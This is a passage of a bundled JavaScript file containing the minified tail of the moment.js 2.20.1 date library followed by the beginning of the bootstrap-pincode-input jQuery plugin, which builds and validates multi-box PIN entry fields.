Sn=I("Milliseconds",!1);P("z",0,0,"zoneAbbr"),P("zz",0,0,"zoneName");var Dn=m.prototype;Dn.add=_n,Dn.calendar=function(t,n){var s=t||pe(),i=Ye(s,this).startOf("day"),r=e.calendarFormat(this,i)||"sameElse",a=n&&(S(n[r])?n[r].call(this,s):n[r]);return this.format(a||this.localeData().calendar(r,this,pe(s)))},Dn.clone=function(){return new m(this)},Dn.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Ye(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=O(t)){case"year":r=Re(this,s)/12;break;case"month":r=Re(this,s);break;case"quarter":r=Re(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:y(r)},Dn.endOf=function(e){return void 0===(e=O(e))||"millisecond"===e?this:("date"===e&&(e="day"),this.startOf(e).add(1,"isoWeek"===e?"week":e).subtract(1,"ms"))},Dn.format=function(t){t||(t=this.isUtc()?e.defaultFormatUtc:e.defaultFormat);var n=H(this,t);return this.localeData().postformat(n)},Dn.from=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.fromNow=function(e){return this.from(pe(),e)},Dn.to=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.toNow=function(e){return this.to(pe(),e)},Dn.get=function(e){return e=O(e),S(this[e])?this[e]():this},Dn.invalidAt=function(){return d(this).overflow},Dn.isAfter=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},Dn.isBefore=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},Dn.isBetween=function(e,t,n,s){return("("===(s=s||"()")[0]?this.isAfter(e,n):!this.isBefore(e,n))&&(")"===s[1]?this.isBefore(t,n):!this.isAfter(t,n))},Dn.isSame=function(e,t){var n,s=_(e)?e:pe(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=O(t||"millisecond"))?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},Dn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},Dn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},Dn.isValid=function(){return h(this)},Dn.lang=gn,Dn.locale=Ce,Dn.localeData=Fe,Dn.max=dn,Dn.min=ln,Dn.parsingFlags=function(){return u({},d(this))},Dn.set=function(e,t){if("object"==typeof e)for(var n=function(e){var t=[];for(var n in e)t.push({unit:n,priority:it[n]});return t.sort(function(e,t){return e.priority-t.priority}),t}(e=T(e)),s=0;s<n.length;s++)this[n[s].unit](e[n[s].unit]);else if(e=O(e),S(this[e]))return this[e](t);return this},Dn.startOf=function(e){switch(e=O(e)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":case"date":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===e&&this.weekday(0),"isoWeek"===e&&this.isoWeekday(1),"quarter"===e&&this.month(3*Math.floor(this.month()/3)),this},Dn.subtract=yn,Dn.toArray=function(){return[this.year(),this.month(),this.date(),this.hour(),this.minute(),this.second(),this.millisecond()]},Dn.toObject=function(){return{years:this.year(),months:this.month(),date:this.date(),hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()}},Dn.toDate=function(){return new Date(this.valueOf())},Dn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):S(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this._d.valueOf()).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Dn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e="moment",t="";this.isLocal()||(e=0===this.utcOffset()?"moment.utc":"moment.parseZone",t="Z");var n="["+e+'("]',s=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=t+'[")]';return this.format(n+s+"-MM-DD[T]HH:mm:ss.SSS"+i)},Dn.toJSON=function(){return this.isValid()?this.toISOString():null},Dn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Dn.unix=function(){return Math.floor(this.valueOf()/1e3)},Dn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Dn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Dn.year=Lt,Dn.isLeapYear=function(){return E(this.year())},Dn.weekYear=function(e){return Le.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},Dn.isoWeekYear=function(e){return Le.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},Dn.quarter=Dn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},Dn.month=$,Dn.daysInMonth=function(){return Z(this.year(),this.month())},Dn.week=Dn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},Dn.isoWeek=Dn.isoWeeks=function(e){var t=X(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},Dn.weeksInYear=function(){var e=this.localeData()._week;return K(this.year(),e.dow,e.doy)},Dn.isoWeeksInYear=function(){return K(this.year(),1,4)},Dn.date=pn,Dn.day=Dn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},Dn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},Dn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},Dn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},Dn.hour=Dn.hours=Bt,Dn.minute=Dn.minutes=wn,Dn.second=Dn.seconds=vn,Dn.millisecond=Dn.milliseconds=Sn,Dn.utcOffset=function(t,n,s){var i,r=this._offset||0;if(!this.isValid())return null!=t?this:NaN;if(null!=t){if("string"==typeof t){if(null===(t=ke(Dt,t)))return this}else Math.abs(t)<16&&!s&&(t*=60);return!this._isUTC&&n&&(i=Oe(this)),this._offset=t,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==t&&(!n||this._changeInProgress?He(this,xe(t-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,e.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Oe(this)},Dn.utc=function(e){return this.utcOffset(0,e)},Dn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Oe(this),"m")),this},Dn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=ke(St,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},Dn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?pe(e).utcOffset():0,(this.utcOffset()-e)%60==0)},Dn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Dn.isLocal=function(){return!!this.isValid()&&!this._isUTC},Dn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Dn.isUtc=Te,Dn.isUTC=Te,Dn.zoneAbbr=function(){return this._isUTC?"UTC":""},Dn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Dn.dates=v("dates accessor is deprecated. Use date instead.",pn),Dn.months=v("months accessor is deprecated. Use month instead",$),Dn.years=v("years accessor is deprecated. Use year instead",Lt),Dn.zone=v("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}),Dn.isDSTShifted=v("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var e={};if(f(e,this),(e=ye(e))._a){var t=e._isUTC?l(e._a):pe(e._a);this._isDSTShifted=this.isValid()&&p(e._a,t.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted});var kn=k.prototype;kn.calendar=function(e,t,n){var s=this._calendar[e]||this._calendar.sameElse;return S(s)?s.call(t,n):s},kn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.replace(/MMMM|MM|DD|dddd/g,function(e){return e.slice(1)}),this._longDateFormat[e])},kn.invalidDate=function(){return this._invalidDate},kn.ordinal=function(e){return this._ordinal.replace("%d",e)},kn.preparse=Ge,kn.postformat=Ge,kn.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return S(i)?i(e,t,n,s):i.replace(/%d/i,e)},kn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return S(n)?n(t):n.replace(/%s/i,t)},kn.set=function(e){var t,n;for(n in e)S(t=e[n])?this[n]=t:this["_"+n]=t;this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},kn.months=function(e,n){return e?t(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Nt).test(n)?"format":"standalone"][e.month()]:t(this._months)?this._months:this._months.standalone},kn.monthsShort=function(e,n){return e?t(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Nt.test(n)?"format":"standalone"][e.month()]:t(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},kn.monthsParse=function(e,t,n){var s,i,r;if(this._monthsParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=l([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null}.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=l([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(r="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},kn.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=It),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},kn.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=Et),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},kn.week=function(e){return X(e,this._week.dow,this._week.doy).week},kn.firstDayOfYear=function(){return this._week.doy},kn.firstDayOfWeek=function(){return this._week.dow},kn.weekdays=function(e,n){return e?t(this._weekdays)?this._weekdays[e.day()]:this._weekdays[this._weekdays.isFormat.test(n)?"format":"standalone"][e.day()]:t(this._weekdays)?this._weekdays:this._weekdays.standalone},kn.weekdaysMin=function(e){return e?this._weekdaysMin[e.day()]:this._weekdaysMin},kn.weekdaysShort=function(e){return e?this._weekdaysShort[e.day()]:this._weekdaysShort},kn.weekdaysParse=function(e,t,n){var s,i,r;if(this._weekdaysParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=l([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null}.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=l([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".",".?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".",".?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".",".?")+"$","i")),this._weekdaysParse[s]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},kn.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=zt),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},kn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=$t),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},kn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=qt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},kn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},kn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},ae("en",{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===g(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),e.lang=v("moment.lang is deprecated. Use moment.locale instead.",ae),e.langData=v("moment.langData is deprecated. Use moment.localeData instead.",ue);var Yn=Math.abs,On=$e("ms"),Tn=$e("s"),xn=$e("m"),bn=$e("h"),Pn=$e("d"),Wn=$e("w"),Hn=$e("M"),Rn=$e("y"),Cn=qe("milliseconds"),Fn=qe("seconds"),Un=qe("minutes"),Ln=qe("hours"),Nn=qe("days"),Gn=qe("months"),Vn=qe("years"),En=Math.round,In={ss:44,s:45,m:45,h:22,d:26,M:11},An=Math.abs,jn=ve.prototype;return jn.isValid=function(){return this._isValid},jn.abs=function(){var e=this._data;return this._milliseconds=Yn(this._milliseconds),this._days=Yn(this._days),this._months=Yn(this._months),e.milliseconds=Yn(e.milliseconds),e.seconds=Yn(e.seconds),e.minutes=Yn(e.minutes),e.hours=Yn(e.hours),e.months=Yn(e.months),e.years=Yn(e.years),this},jn.add=function(e,t){return Ae(this,e,t,1)},jn.subtract=function(e,t){return Ae(this,e,t,-1)},jn.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=O(e))||"year"===e)return t=this._days+s/864e5,n=this._months+Ze(t),"month"===e?n:n/12;switch(t=this._days+Math.round(ze(this._months)),e){case"week":return t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},jn.asMilliseconds=On,jn.asSeconds=Tn,jn.asMinutes=xn,jn.asHours=bn,jn.asDays=Pn,jn.asWeeks=Wn,jn.asMonths=Hn,jn.asYears=Rn,jn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*g(this._months/12):NaN},jn._bubble=function(){var e,t,n,s,i,r=this._milliseconds,a=this._days,o=this._months,u=this._data;return r>=0&&a>=0&&o>=0||r<=0&&a<=0&&o<=0||(r+=864e5*je(ze(o)+a),a=0,o=0),u.milliseconds=r%1e3,e=y(r/1e3),u.seconds=e%60,t=y(e/60),u.minutes=t%60,n=y(t/60),u.hours=n%24,a+=y(n/24),i=y(Ze(a)),o+=i,a-=je(ze(i)),s=y(o/12),o%=12,u.days=a,u.months=o,u.years=s,this},jn.clone=function(){return xe(this)},jn.get=function(e){return e=O(e),this.isValid()?this[e+"s"]():NaN},jn.milliseconds=Cn,jn.seconds=Fn,jn.minutes=Un,jn.hours=Ln,jn.days=Nn,jn.weeks=function(){return y(this.days()/7)},jn.months=Gn,jn.years=Vn,jn.humanize=function(e){if(!this.isValid())return this.localeData().invalidDate();var t=this.localeData(),n=function(e,t,n){var s=xe(e).abs(),i=En(s.as("s")),r=En(s.as("m")),a=En(s.as("h")),o=En(s.as("d")),u=En(s.as("M")),l=En(s.as("y")),d=i<=In.ss&&["s",i]||i<In.s&&["ss",i]||r<=1&&["m"]||r<In.m&&["mm",r]||a<=1&&["h"]||a<In.h&&["hh",a]||o<=1&&["d"]||o<In.d&&["dd",o]||u<=1&&["M"]||u<In.M&&["MM",u]||l<=1&&["y"]||["yy",l];return d[2]=t,d[3]=+e>0,d[4]=n,function(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}.apply(null,d)}(this,!e,t);return e&&(n=t.pastFuture(+this,n)),t.postformat(n)},jn.toISOString=Be,jn.toString=Be,jn.toJSON=Be,jn.locale=Ce,jn.localeData=Fe,jn.toIsoString=v("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Be),jn.lang=gn,P("X",0,0,"unix"),P("x",0,0,"valueOf"),C("x",Mt),C("X",/[+-]?\d+(\.\d{1,3})?/),L("X",function(e,t,n){n._d=new Date(1e3*parseFloat(e,10))}),L("x",function(e,t,n){n._d=new Date(g(e))}),e.version="2.20.1",function(e){Qe=e}(pe),e.fn=Dn,e.min=function(){return we("isBefore",[].slice.call(arguments,0))},e.max=function(){return we("isAfter",[].slice.call(arguments,0))},e.now=function(){return Date.now?Date.now():+new Date},e.utc=l,e.unix=function(e){return pe(1e3*e)},e.months=function(e,t){return Ee(e,t,"months")},e.isDate=r,e.locale=ae,e.invalid=c,e.duration=xe,e.isMoment=_,e.weekdays=function(e,t,n){return Ie(e,t,n,"weekdays")},e.parseZone=function(){return pe.apply(null,arguments).parseZone()},e.localeData=ue,e.isDuration=Me,e.monthsShort=function(e,t){return Ee(e,t,"monthsShort")},e.weekdaysMin=function(e,t,n){return Ie(e,t,n,"weekdaysMin")},e.defineLocale=oe,e.updateLocale=function(e,t){if(null!=t){var n,s,i=Qt;null!=(s=re(e))&&(i=s._config),(n=new k(t=D(i,t))).parentLocale=Xt[e],Xt[e]=n,ae(e)}else null!=Xt[e]&&(null!=Xt[e].parentLocale?Xt[e]=Xt[e].parentLocale:null!=Xt[e]&&delete Xt[e]);return Xt[e]},e.locales=function(){return nt(Xt)},e.weekdaysShort=function(e,t,n){return Ie(e,t,n,"weekdaysShort")},e.normalizeUnits=O,e.relativeTimeRounding=function(e){return void 0===e?En:"function"==typeof e&&(En=e,!0)},e.relativeTimeThreshold=function(e,t){return void 0!==In[e]&&(void 0===t?In[e]:(In[e]=t,"s"===e&&(In.ss=t-1),!0))},e.calendarFormat=function(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},e.prototype=Dn,e.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"YYYY-[W]WW",MONTH:"YYYY-MM"},e}); /* ========================================================= * bootstrap-pincode-input.js * * ========================================================= * Created by Ferry Kranenburg * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================= */ ;(function ( $, window, document, undefined ) { "use strict"; // Create the defaults once var pluginName = "pincodeInput"; var defaults = { placeholders:undefined, // seperate with a " "(space) to set an placeholder for each input box inputs:4, // 4 input boxes = code of 4 digits long hidedigits:true, // hide digits keydown : function(e){}, change: function(input,value,inputnumber){ // callback on every input on change (keyup event) //input = the input textbox DOM element //value = the value entered by user (or removed) //inputnumber = the position of the input box (in touch mode we only have 1 big input box, so always 1 is returned here) }, blur: function(value, e, errorElement){ //value = the entered code //e = last keyup event //errorElement = error span next to to this, fill with html e.g. : $(errorElement).html("Code not correct"); }, complete : function(value, e, errorElement){ // callback when all inputs are filled in (keyup event) //value = the entered code //e = last keyup event //errorElement = error span next to this, fill with html e.g. : $(errorElement).html("Code not correct"); } }; // The actual plugin constructor function Plugin ( element, options ) { this.element = element; this.settings = $.extend( {}, defaults, options ); this._defaults = defaults; this._name = pluginName; this.init(); } // Avoid Plugin.prototype conflicts $.extend(Plugin.prototype, { init: function () { this.buildInputBoxes(); }, updateOriginalInput:function(){ var newValue = ""; $('.pincode-input-text',this._container).each(function( index, value ) { newValue += $(value).val().toString(); }); $(this.element).val(newValue); }, check: function(){ var isComplete = true; var code = ""; $('.pincode-input-text',this._container).each(function( index, value ) { code += $(value).val().toString(); if(!$(value).val()){ isComplete = false; } }); if(this._isTouchDevice()){ // check if single input has it all if(code.length == this.settings.inputs){ return true; } }else{ return isComplete; } }, buildInputBoxes: function () { this._container = $('<div />').addClass('pincode-input-container'); var currentValue = []; var placeholders = []; var touchplaceholders = ""; //in touch mode we have just 1 big input box, and there is only 1 placeholder in this case if(this.settings.placeholders){ placeholders = this.settings.placeholders.split(" "); touchplaceholders = this.settings.placeholders.replace(/ /g,""); } // If we do not hide digits, we need to include the current value of the input box // This will only work if the current value is not longer than the number of input boxes. if( this.settings.hidedigits == false && $(this.element).val() !=""){ currentValue = $(this.element).val().split(""); } // make sure this is the first password field here if(this.settings.hidedigits){ this._pwcontainer = $('<div />').css("display", "none").appendTo(this._container); this._pwfield = $('<input>').attr({'type':'password','pattern': "[0-9]*", 'inputmode':"numeric",'id':'preventautofill','autocomplete':'off'}).appendTo(this._pwcontainer); } if(this._isTouchDevice()){ // set main class $(this._container).addClass("touch"); // For touch devices we build a html table directly under the pincode textbox. The textbox will become transparent // This table is used for styling only, it will display how many 'digits' the user should fill in. // With CSS letter-spacing we try to put every digit visually insize each table cell. var wrapper = $('<div />').addClass('touchwrapper touch'+this.settings.inputs).appendTo(this._container); var input = $('<input>').attr({'id':'pincode-input','type':'number','pattern': "[0-9]*", 'placeholder':touchplaceholders, 'inputmode':"numeric",'maxlength':this.settings.inputs,'autocomplete':'off', 'data-pin':'data-pin'}).addClass('form-control pincode-input-text conceal').appendTo(wrapper); var touchtable = $('<table>').addClass('touchtable').appendTo(wrapper); var row = $('<tr/>').appendTo(touchtable); // create touch background elements (for showing user how many digits must be entered) for (var i = 0; i < this.settings.inputs; i++) { if(i == (this.settings.inputs-1)){ $('<td/>').addClass('last').appendTo(row); }else{ $('<td/>').appendTo(row); } } if(this.settings.hidedigits){ // hide digits input.attr('type','tel'); }else{ // show digits, also include default value input.val(currentValue[i]); } // add events this._addEventsToInput(input,1); }else{ // for desktop mode we build one input for each digit for (var i = 0; i < this.settings.inputs; i++) { var input = $('<input>').attr({'id':'pincode-input','type':'text','maxlength':"1",'autocomplete':'off','placeholder':(placeholders[i] ? placeholders[i] : undefined)}).addClass('form-control pincode-input-text conceal').appendTo(this._container); if(this.settings.hidedigits) { // hide digits input.attr('type','tel'); }else{ // show digits, also include default value input.val(currentValue[i]); } if(i==0){ input.addClass('first'); }else if(i==(this.settings.inputs-1)){ input.addClass('last'); }else{ input.addClass('mid'); } // add events this._addEventsToInput(input,(i+1)); } } // error box this._error = $('<div />').addClass('text-danger pincode-input-error').appendTo(this._container); //hide original element and place this before it $(this.element).css( "display", "none" ); this._container.insertBefore(this.element); }, enable:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).prop('disabled', false); }); }, disable:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).prop('disabled', true); }); }, focus:function(){ $('.pincode-input-text',this._container).first().select().focus(); }, clear:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).val(""); }); this.updateOriginalInput(); }, _isTouchDevice:function(){ // I know, sniffing is a really bad idea, but it works 99% of the times if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { return true; } }, _addEventsToInput:function(input,inputnumber){ input.on('click', function (e) { var that = this; setTimeout(function(){ that.selectionStart = that.selectionEnd = 10000; }, 0); }); //input.on('focus',function(e){ // //this.select(); //automatically select current value //}); input.on('cut copy paste',function(e){ e.preventDefault(); e.stopPropagation(); }); input.on('blur', $.proxy(function(e){ this.settings.blur($(this.e).val(), e, this._error); //Validate if the pin is empty or less than 4 digits. if (formHelper.isEmpty($(this.element).val())) { formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers'); return false; } else if($(this.element).val().length < this.settings.inputs){ formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers'); return false; }else { formHelper.clearError($(e.currentTarget)); return true; } },this)); input.on('keydown', $.proxy(function(e){ if(this._pwfield){ // Because we need to prevent password saving by browser // remove the value here and change the type! // we do this every time the user types $(this._pwfield).attr({'type':'text'}); $(this._pwfield).val(""); } // prevent more input for touch device (we can't limit it) if(this._isTouchDevice()){ if(e.keyCode == 8 || e.keyCode == 46){ // do nothing on backspace and delete }else{ //console.log("$(this.element).val().length" + $(this.element).val().length); //console.log("this.settings.inputs" + this.settings.inputs); if($(this.element).val().length == this.settings.inputs){ e.preventDefault(); e.stopPropagation(); } } }else{ // in desktop mode, check if an number was entered if( !(e.keyCode == 8 // backspace key || e.keyCode == 9 // tab key || e.keyCode == 46 // delete key || (e.keyCode >= 48 && e.keyCode <= 57) // numbers on keyboard || (e.keyCode >= 96 && e.keyCode <= 105)) // number on keypad ) { e.preventDefault(); // Prevent character input e.stopPropagation(); } } this.settings.keydown(e); },this)); // input.on('blur', $.proxy(function(e) { // if(!this._isTouchDevice()) { // if (e != null && $(e).val()) { // console.log("not null" + 